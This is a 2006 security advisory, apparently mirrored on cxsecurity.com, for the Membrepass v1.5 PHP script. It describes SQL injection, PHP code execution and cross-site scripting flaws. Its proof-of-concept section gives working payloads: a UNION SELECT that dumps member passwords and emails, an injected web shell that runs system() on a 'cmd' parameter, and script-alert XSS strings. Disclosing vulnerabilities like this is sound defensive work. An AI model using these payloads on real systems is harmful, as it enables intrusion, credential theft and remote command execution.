Bug: Membrepass v1.5 Php code execution, Xss, Sql Injection ( Ascii Version )

Search:
WLB2

Membrepass v1.5 Php code execution, Xss, Sql Injection

Published
Credit
Risk
2006.09.05
DarkFig
Medium
CWE
CVE
Local
Remote
N/A
CVE-2006-4530
CVE-2006-4529
CVE-2006-4528
No
Yes

=================================================================

Affected.scr..: Membrepass v1.5

Advisory.ID...: 09290806

Type..........: Cross Site Scripting, SQL Injection

Php code execution

Risk.level....: Medium

Vendor.Status.: Unpatched

Src.download..: comscripts.com/scripts/php.membrepass.1459.html

Adv.link......: acid-root.new.fr/advisories/09290806.txt

=================================================================

==[ OVERVIEW

============

membrepass AVEC MESSAGERIE est un espace membre installation automatique.

Marche sur FREE,ONLINE et les autres hébergeurs.Le script est entierement

configurable et possible d'ajouter les couleurs de votre site.

Vous pouvez ajouter ou supprimer les champs formulaire.

Protection des emails contre aspirateurs (anti SPAM).

[Quote from www.comscripts.com]

==[ DETAILS

===========

Many vulnerabilities have been discovered in Membrepass v1.5.

1)Input passed to the "recherche" parameter in /recherchemembre.php isn't

properly sanitised before being used in a SQL query. This bug can be

exploited to conduct SQL injection attacks. Successful exploitation may

require that "magic_quotes_gpc" is disabled.

2)Input passed to the "aifon" parameter in /include/change.php isn't

properly satanised before being used in fputs() function. This can

be exploited to execude PHP code. Successful exploitation may require

that "register_globals" is enabled and "magic_quotes_gpc" is disabled.

3)Input passed to the "recherche" parameter in /recherchemembre.php and

to the "email" parameter in /test.php isn't properly satanised before

being returned to the user. This can be exploited to conduct cross-site

scripting attacks. Successful exploitation may require that

"register_globals" is enabled.

==[ POC/EXPLOIT

===============

POST /recherchemembre.php DATA recherche=' UNION SELECT passe,0,email,0,0,0,0,0,0,0,0,0,pseudo,0,0,0,0,0,0,0,0,0 FROM
membre #

GET /include/change.php DATA ainfo="; $cmd = $_GET['cmd']; system($cmd); exit; //
http://.../include/variable.php?cmd=dir

POST /recherchemembre.php DATA recherche=</b><script>alert(666)</script>

GET /test.php DATA email=<script>alert(666)</script>

==[ SOLUTION

============

Edit the source code to ensure that input is properly verified.

==[ TIMELINE

============

29. Aug. 2006 - Public Disclosure

==[ CONTACT

===========

Author: DarkFig

Web...: www.acid-root.new.fr

E-mail: gmdarkfig[*]gmail[*]com (fr/en)

See this note in TXT Version

Bugtraq RSS
Bugtraq
 
REDDIT
REDDIT
 
DIGG
DIGG
 
LinkedIn
LinkedIn
 
CVE RSS
CVEMAP

Copyright 2014, cxsecurity.com
Ascii Version